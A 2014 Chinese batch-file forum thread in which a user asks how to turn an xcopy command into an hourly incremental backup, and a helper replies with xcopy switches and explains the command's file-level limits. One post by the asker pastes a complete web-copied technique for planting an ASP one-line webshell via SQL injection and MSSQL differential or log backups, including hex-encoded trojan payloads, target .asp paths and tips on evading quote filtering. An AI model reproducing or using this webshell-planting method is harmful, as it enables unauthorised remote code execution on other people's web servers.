Board logo

标题: [文本处理] 如何帮我改成批处理增量复制每天1小时执行一次,谢谢!!! [打印本页]

作者: fangniuji    时间: 2014-2-26 15:36     标题: 如何帮我改成批处理增量复制每天1小时执行一次,谢谢!!!

xcopy /e/s/i "C:\PROTOCOL" "D:\PROTOCOL"  如何帮我改成增量复制每天1小时执行一次,谢谢!!!
作者: DAIC    时间: 2014-2-26 15:44

  1. xcopy /e /s /i /d "C:\PROTOCOL" "D:\PROTOCOL"
复制代码
想要1小时执行一次,把它放到任务计划里面就行了。
作者: fangniuji    时间: 2014-2-26 15:57

回复 2# DAIC


    最好不提问,直接复制,第二:不能增量拷贝,帮忙一下,谢谢!!
作者: DAIC    时间: 2014-2-26 15:59

回复 3# fangniuji
  1. xcopy /e /s /i /d /y "C:\PROTOCOL" "D:\PROTOCOL"
复制代码

作者: fangniuji    时间: 2014-2-26 16:27

回复 4# DAIC


    还不能增量备份,如果文本没资料,一下又没了,帮帮,谢谢!!
作者: DAIC    时间: 2014-2-26 16:36

回复 5# fangniuji


请举个例子说明一下 如果文本没资料,一下又没了 是什么意思
作者: fangniuji    时间: 2014-2-26 16:41

回复 6# DAIC


    如果复制源数据为空,复制一下原来复制资料都没有啦,
作者: DAIC    时间: 2014-2-26 17:23

回复 7# fangniuji


只要 C:\PROTOCOL\a.txt 比 C:\PROTOCOL\b.txt 新,增量备份就应该以前者为准,它不管空不空。
如果这跟你希望的结果不一样,请举几个例子详细描述一下你说的增量备份是什么意思。
作者: fangniuji    时间: 2014-2-27 10:53

回复 8# DAIC


    增量备份意思:C盘文件TXT,假设有数据1, 复制到D盘数据是1, C盘文件TXT,假设数据又变成2,又复制到D盘数据是2.接1后面。D盘保持原有数据,不断复制与C盘不一样资料,如C盘文件TXT,假设有数据1,2,3,4,D盘数据是1,2,3,运行后,只复制4,结果变成D盘有1,2,3,4数据。谢谢你的帮忙。谢谢。
作者: fangniuji    时间: 2014-2-27 11:53

回复 9# fangniuji


    MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!
差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:
如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT
0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
声明:方法不是我想的,我只是写工具,默认得到shell是
===============================================================
我发现上面代码,有时会无效,而直接用
backup database 库名 to disk = 'c:\ddd.bak'
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:
';alter database null set RECOVERY FULL--
';create table cmd (a image)--
';backup log null to disk = 'f:\cmd' with init--
';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
9253EDA)--
';backup log null to disk = '备份路径'--
PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句话小马16进制转来的
说到一句话马,还可以有这么几种写法:
a).
b).
c).%>execute request("a")
e).
=============================================
我在网上下载的。意思应该跟上一样,谢谢!!
作者: DAIC    时间: 2014-2-27 13:20

回复 9# fangniuji


    xcopy只能实现文件级别的备份,不能实现文件内容级别的备份。
作者: fangniuji    时间: 2014-2-27 13:56

回复 11# DAIC


    帮我写一下,谢谢!!
作者: DAIC    时间: 2014-2-27 14:35

回复 12# fangniuji


    xcopy没有这样的功能,怎么写?
作者: fangniuji    时间: 2014-2-28 12:31     标题: 备份问题

举例:C盘文件TXT,假设有数据1, 复制到D盘数据是1, C盘文件TXT,假设数据又变成2,又复制到D盘数据是2.接1后面。D盘保持原有数据,不断复制与C盘不一样资料,如C盘文件TXT,假设有数据1,2,3,4,D盘数据是1,2,3,运行后,只复制4,结果变成D盘有1,2,3,4数据。就是和前一次备份作对比,把不一样的内容备份下来,目标C:\PROTOCOL"  复制"D:\PROTOCOL",大家帮忙一下,谢谢!!!




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2